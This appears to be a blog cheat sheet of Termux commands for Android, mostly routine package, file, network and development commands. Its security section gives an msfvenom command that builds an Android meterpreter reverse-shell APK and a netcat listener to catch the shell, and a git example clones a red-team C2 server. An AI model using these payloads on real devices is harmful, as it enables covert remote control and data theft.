Termux Commands Cheat Sheet: The Complete 2025 Guide for Android

Introduction

Termux has revolutionized the way we interact with Android devices, transforming smartphones and tablets into powerful Linux environments. As we progress through 2025, Termux continues to be the go-to terminal emulator for developers, cybersecurity professionals, and tech enthusiasts who want to harness the full potential of their mobile devices. This comprehensive cheat sheet is designed to help both beginners and advanced users navigate the essential commands that make Termux such a versatile tool. Whether you’re setting up a development environment, conducting penetration testing, automating tasks, or simply exploring the capabilities of Linux on Android, this guide provides the foundational commands you need to succeed.

With the latest updates in 2025, including improved package management, enhanced security features, and better integration with Android’s native functionalities, mastering these commands has never been more important. This guide focuses on practical, real-world commands that you’ll use daily, helping you work more efficiently and unlock new possibilities with your Android device.

Learning Objectives

By the end of this cheat sheet guide, you will be able to:

  • Master essential package management and file operations
  • Execute network operations and remote connections
  • Automate tasks and leverage Termux-specific features
  • Apply security tools with ethical practices

Benefits of This Termux Cheat Sheet

  • Quick Reference for Daily Tasks – This cheat sheet serves as an instant reference guide, eliminating the need to search through documentation or online forums when you need a specific command. All essential commands are organized by category for fast lookup.
  • Accelerated Learning Curve – Instead of spending hours experimenting with different commands, you’ll have proven, working examples at your fingertips. This dramatically reduces the time needed to become proficient with Termux, allowing you to focus on your projects rather than syntax.
  • Enhanced Productivity – By mastering these commands, you’ll work faster and more efficiently. Whether you’re managing files, deploying code, or troubleshooting systems, having these commands memorized or readily available significantly boosts your workflow.
  • Mobile Development Freedom – This cheat sheet empowers you to turn any Android device into a portable development workstation. You can code, test, and deploy applications from anywhere without needing a laptop or desktop computer.
  • Security and Penetration Testing Capabilities – For cybersecurity professionals, this guide provides the essential commands needed to perform security assessments, network analysis, and ethical hacking operations directly from a mobile device.
  • Future-Proof Your Skills – The commands in this 2025 edition reflect current best practices and the latest Termux features. By learning these commands, you’re building skills that remain relevant across Linux distributions and professional environments.
1. 📦 Package Management
CommandDescriptionExample
pkg updateUpdates package listspkg update
pkg upgradeUpgrades installed packagespkg upgrade
pkg update && pkg upgrade -yUpdate and upgrade in one commandpkg update && pkg upgrade -y
pkg install <package>Installs a new packagepkg install python
pkg uninstall <package>Uninstalls a packagepkg uninstall python
pkg list-installedLists installed packagespkg list-installed
pkg list-allLists all available packagespkg list-all
pkg search <query>Searches for packagespkg search nmap
pkg show <package>Shows package detailspkg show python
pkg reinstall <package>Reinstalls a packagepkg reinstall git
pkg autocleanCleans up unneeded packagespkg autoclean
apt updateUpdates package lists via APTapt update
apt upgradeUpgrades packages via APTapt upgrade
apt autoremoveRemoves unused dependenciesapt autoremove -y
termux-change-repoChanges package repositorytermux-change-repo
2. 🔧 Basic Commands
CommandDescriptionExample
pwdShows current directorypwd
lsLists files and foldersls
ls -lLists with detailsls -l
ls -laLists all including hidden filesls -la
ls -lhHuman-readable sizesls -lh
cd <directory>Changes directorycd /sdcard
cd ..Goes up one directorycd ..
cd ~Goes to home directorycd ~
cd -Goes to previous directorycd -
clearClears screenclear
exitExits Termux sessionexit
whoamiShows current userwhoami
dateShows current date/timedate
uptimeShows system uptimeuptime
uname -aShows system informationuname -a
historyShows command historyhistory
!!Runs last command again!!
3. 📁 File Management
CommandDescriptionExample
touch <file>Creates empty filetouch test.txt
mkdir <folder>Creates new foldermkdir myproject
mkdir -p <path>Creates nested foldersmkdir -p projects/python/scripts
rm <file>Deletes a filerm test.txt
rm -r <folder>Deletes folder recursivelyrm -r myproject
rm -rf <folder>Force deletes folder recursivelyrm -rf temp
rmdir <folder>Deletes empty folderrmdir emptydir
cp <source> <destination>Copies filecp file1.txt file2.txt
cp -r <folder1> <folder2>Copies foldercp -r folder1 folder2
mv <source> <destination>Moves or renames filemv old.txt new.txt
cat <file>Shows file contentcat file.txt
cat > <file>Creates and writes to file (Ctrl+D to exit)cat > newfile.txt
cat >> <file>Appends to filecat >> file.txt
head <file>Shows first 10 lineshead file.txt
head -n 20 <file>Shows first 20 lineshead -n 20 file.txt
tail <file>Shows last 10 linestail file.txt
tail -n 20 <file>Shows last 20 linestail -n 20 file.txt
tail -f <file>Follows file changes livetail -f app.log
less <file>Shows file one page at a timeless bigfile.txt
more <file>Shows file by screenmore file.txt
wc <file>Counts lines, words, byteswc file.txt
wc -l <file>Counts lineswc -l script.py
4. 🔍 File Searching and Permissions
CommandDescriptionExample
find <dir> -name <pattern>Finds file by namefind ~ -name '*.txt'
find . -type fFinds all filesfind . -type f
find . -type dFinds all directoriesfind . -type d
find . -size +10MFinds files >10MBfind . -size +10M
find . -mtime -7Finds files modified last 7 daysfind . -mtime -7
grep <word> <file>Searches for word in filegrep 'error' app.log
grep -r <word> <dir>Recursive search in directorygrep -r 'TODO' .
grep -i <word> <file>Case-insensitive searchgrep -i 'error' log.txt
grep -n <word> <file>Search with line numbersgrep -n 'function' code.py
chmod +x <file>Makes file executablechmod +x script.sh
chmod 755 <file>Ownership & execution permissionschmod 755 app.py
chmod 644 <file>Read/write owner, read otherschmod 644 config.txt
ls -l <file>Shows file permissionsls -l script.sh
5. ✍️ Text Processing
CommandDescriptionExample
nano <file>Edits file with Nanonano script.sh
vim <file>Edits file with Vimvim config.py
echo 'text'Prints textecho 'Hello Termux'
echo 'text' > <file>Writes text to file (overwrite)echo 'test' > file.txt
echo 'text' >> <file>Appends text to fileecho 'log' >> app.log
sed 's/old/new/g' <file>Replaces text in filesed 's/python/Python/g' code.py
sed -i 's/old/new/g' <file>Edits file in-placesed -i 's/test/prod/g' config.txt
awk '{print $1}' <file>Prints first columnawk '{print $1}' data.txt
awk '/pattern/ {action}' <file>Pattern matching & actionawk '/error/ {print}' log.txt
sort <file>Sorts linessort names.txt
sort -r <file>Reverse sorts linessort -r numbers.txt
uniq <file>Removes duplicate linesuniq sorted.txt
diff <file1> <file2>Compares two filesdiff old.txt new.txt
tr 'a-z' 'A-Z' < <file>Converts lowercase to uppercasetr 'a-z' 'A-Z' < text.txt
6. 🗜️ Compression and Archiving
CommandDescriptionExample
tar -cvf <archive.tar> <files>Creates tar archivetar -cvf backup.tar mydata/
tar -xvf <archive.tar>Extracts tar archivetar -xvf backup.tar
tar -czvf <archive.tar.gz> <files>Creates gzip tar archivetar -czvf backup.tar.gz data/
tar -xzvf <archive.tar.gz>Extracts gzip tar archivetar -xzvf backup.tar.gz
tar -cJf <archive.tar.xz> <files>Creates xz tar archivetar -cJf backup.tar.xz files/
tar -xJf <archive.tar.xz>Extracts xz tar archivetar -xJf backup.tar.xz
zip <archive.zip> <file>Creates zip archivezip archive.zip file.txt
zip -r <archive.zip> <folder>Zips a folderzip -r backup.zip project/
zip -e <archive.zip> <file>Creates password-protected zipzip -e secure.zip data.txt
unzip <archive.zip>Extracts zip archiveunzip archive.zip
unzip -l <archive.zip>Lists contents of zipunzip -l backup.zip
gzip <file>Compresses with gzipgzip largefile.txt
gunzip <file.gz>Decompresses gzipgunzip largefile.txt.gz
7z a <archive.7z> <files>Creates 7z archive7z a backup.7z data/
7z a -p <archive.7z> <files>Creates password protected 7z7z a -pMyPass secure.7z files/
7z x <archive.7z>Extracts 7z archive7z x backup.7z
7. 🌐 Network Commands
CommandDescriptionExample
ping <address>Tests connectivityping google.com
ping -c 4 <address>Sends 4 ping packetsping -c 4 1.1.1.1
curl <url>Fetches web contentcurl https://api.github.com
curl -o <file> <url>Downloads from URLcurl -o page.html https://example.com
curl -I <url>Shows HTTP headerscurl -I https://google.com
curl -X POST -d 'data' <url>Sends POST requestcurl -X POST -d 'key=value' https://api.example.com
wget <url>Downloads filewget https://example.com/file.zip
wget -c <url>Resume downloadwget -c https://example.com/large.iso
wget -O <file> <url>Save as specified filewget -O myfile.zip https://example.com/file.zip
ifconfigShows network interfacesifconfig
ip addrShows IP addressesip addr
netstat -tulnShows listening portsnetstat -tuln
ss -tulnShows socket statsss -tuln
nmap <ip>Scans portsnmap 192.168.1.1
nmap -sV <ip>Scans service versionsnmap -sV 192.168.1.1
nmap -A <ip>Aggressive scannmap -A 192.168.1.1
host <domain>DNS lookuphost google.com
dig <domain>Detailed DNS querydig example.com
whois <domain>Domain infowhois google.com
8. 🔐 SSH and Remote Access
CommandDescriptionExample
pkg install opensshInstalls OpenSSHpkg install openssh
sshdStarts SSH serversshd
passwdSets user passwordpasswd
ssh <user>@<host>Connects via SSHssh user@192.168.1.10
ssh -p <port> <user>@<host>SSH on specific portssh -p 8022 user@example.com
ssh-keygen -t ed25519Generates SSH keyssh-keygen -t ed25519
ssh-copy-id <user>@<host>Copies key to serverssh-copy-id user@server.com
scp <file> <user>@<host>:<dest>Secure copy filescp file.txt user@server:/home/
scp -r <folder> <user>@<host>:<dest>Copy folder recursivelyscp -r mydir user@server:/backup/
scp <user>@<host>:<file> .Download remote filescp user@server:/data/file.txt .
rsync -avz <src> <dest>File synchronizationrsync -avz data/ user@server:/backup/
9. ⚙️ System and Process Management
CommandDescriptionExample
topShows running processestop
htopInteractive process viewerhtop
psLists active processesps
ps auxDetailed process listps aux
ps -efFull format process listps -ef
kill <PID>Kills a processkill 1234
kill -9 <PID>Force kills processkill -9 1234
killall <name>Kills all processes by namekillall python
pkill <pattern>Kills process matching patternpkill node
bgBackgrounds a processbg
fgForegrounds a processfg
jobsLists background jobsjobs
command &Runs command in backgroundpython server.py &
nohup <command> &Keeps running after terminal closenohup ./script.sh &
df -hShows disk usagedf -h
du -sh <dir>Shows directory sizedu -sh ~/projects
free -hShows memory usagefree -h
10. 📱 Termux-Specific Commands
CommandDescriptionExample
termux-setup-storageRequests storage permissiontermux-setup-storage
termux-wake-lockPrevents device sleeptermux-wake-lock
termux-wake-unlockReleases wake locktermux-wake-unlock
termux-infoShows Termux infotermux-info
termux-reload-settingsReloads settingstermux-reload-settings
termux-open <file/url>Opens file or URLtermux-open image.jpg
termux-battery-statusBattery statustermux-battery-status
termux-clipboard-getGets clipboard contenttermux-clipboard-get
termux-clipboard-set <text>Sets clipboard contenttermux-clipboard-set "Hello"
termux-notification <text>Sends notificationtermux-notification "Task done"
termux-toast <message>Shows toast messagetermux-toast "Success"
termux-vibrate -d <ms>Vibrate devicetermux-vibrate -d 1000
termux-camera-photo -c 0 <file>Takes phototermux-camera-photo -c 0 photo.jpg
termux-locationGets GPS locationtermux-location
termux-sms-send -n <number> <message>Sends SMStermux-sms-send -n 5551234567 "Test"
termux-wifi-connectioninfoWiFi infotermux-wifi-connectioninfo
termux-brightness <0-255>Sets screen brightnesstermux-brightness 150
11. 💻 Development Tools
CommandDescriptionExample
pkg install pythonInstalls Pythonpkg install python
python --versionShows Python versionpython --version
python <script.py>Runs Python scriptpython app.py
pip install <package>Installs Python packagepip install requests
pip listLists Python packagespip list
pkg install nodejsInstalls Node.jspkg install nodejs
node --versionShows Node.js versionnode --version
npm install <package>Installs npm packagenpm install express
pkg install gitInstalls Gitpkg install git
git clone <url>Clones repogit clone https://github.com/HalilDeniz/Python-C2-Server-for-Red-Teaming.git
git statusShows git statusgit status
git add .Stages changesgit add .
git commit -m "msg"Commits changesgit commit -m "Initial commit"
git push origin mainPushes changesgit push origin main
git pullPulls updatesgit pull
python -m http.server <port>Starts HTTP serverpython -m http.server 8080
pkg install rubyInstalls Rubypkg install ruby
gem install <gem>Installs Ruby gemgem install bundler
12. 🔨 Bash Scripting & Automation
CommandDescriptionExample
#!/data/data/com.termux/files/usr/bin/bashBash script shebangFirst line of script file
chmod +x script.shMakes script executablechmod +x myscript.sh
./script.shRuns script./myscript.sh
bash script.shRun script with bashbash myscript.sh
crontab -eEdit scheduled taskscrontab -e
screenTerminal multiplexerscreen
tmuxAdvanced terminal multiplexertmux
tmux new -s <name>New tmux sessiontmux new -s mysession
tmux attach -t <name>Attach tmux sessiontmux attach -t mysession
tmux lsList tmux sessionstmux ls
13. ⌨️ Termux Keyboard Shortcuts
ShortcutDescription
Volume DownActs as Ctrl key
Ctrl + AGo to start of line
Ctrl + EGo to end of line
Ctrl + KDelete right of cursor
Ctrl + UDelete left of cursor
Ctrl + WDelete previous word
Ctrl + LClear screen
Ctrl + CInterrupt running process
Ctrl + DExit terminal
Ctrl + ZSuspend process
Volume Up + QShow keyboard shortcuts
Volume Up + W/A/S/DArrow keys
Volume Up + EEscape key
Volume Up + TTab key
Volume Up + 1-9, 0Function keys F1-F10
Volume Up + LPipe (
Volume Up + HTilde (~) symbol
Volume Up + UUnderscore (_) symbol
Volume Up + PPage Up
Volume Up + NPage Down
Volume Up + KToggle soft keyboard
Volume Up + VShow extra keys
Volume Up + XAlt key
Ctrl + Alt + CNew session
Ctrl + Alt + RRename session
Ctrl + Alt + N/PNext/previous session
Ctrl + Alt + 1-9Switch to session number
14. 🛡️ Security & Pentesting Tools
CommandDescriptionExample
pkg install metasploitInstalls Metasploitpkg install metasploit
msfconsoleStarts Metasploit consolemsfconsole
msfvenom -p <payload>Creates payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > payload.apk
pkg install nmapInstalls Nmappkg install nmap
pkg install hydraInstalls Hydrapkg install hydra
pkg install sqlmapInstalls SQLmappkg install sqlmap
pkg install aircrack-ngInstalls Aircrack-ngpkg install aircrack-ng
pkg install netcat-openbsdInstalls netcatpkg install netcat-openbsd
nc -lvnp <port>Starts netcat listenernc -lvnp 4444
pkg install wireshark-cliInstalls Wireshark CLIpkg install wireshark-cli
15. 📚 Helper Commands
CommandDescriptionExample
man <cmd>Shows manual pageman ls
<cmd> --helpShows help for commandcurl --help
which <cmd>Shows command locationwhich python
whereis <cmd>Shows command fileswhereis git
type <cmd>Shows command typetype cd
alias <name>='<cmd>'Sets aliasalias ll='ls -lah'
unalias <name>Removes aliasunalias ll

Conclusion

The Termux commands presented in this 2025 cheat sheet represent the essential building blocks for transforming your Android device into a powerful, portable Linux workstation. Whether you’re a developer building applications on the go, a student learning command-line skills, or a cybersecurity professional conducting assessments, these commands provide the foundation for countless possibilities. The beauty of Termux lies not just in individual commands, but in how they can be combined and automated to create sophisticated workflows. As you become more comfortable with these basics, you’ll naturally progress to writing bash scripts, automating tasks, and developing your own tools tailored to your specific needs. Remember that learning command-line skills is a journey, not a destination. Start with the commands most relevant to your immediate needs, practice them regularly, and gradually expand your knowledge. The Termux community remains active and supportive, with regular updates ensuring compatibility with the latest Android versions and security standards

Most importantly, always use these tools responsibly and ethically. The power of Termux comes with the responsibility to respect privacy, security, and legal boundaries. When used properly, Termux becomes an invaluable asset for productivity, learning, and innovation in the mobile computing landscape. Keep this cheat sheet handy, experiment with different command combinations, and don’t be afraid to explore the extensive package ecosystem that Termux offers. Your Android device is now a gateway to the entire world of Linux computing—make the most of it.

Leave a Reply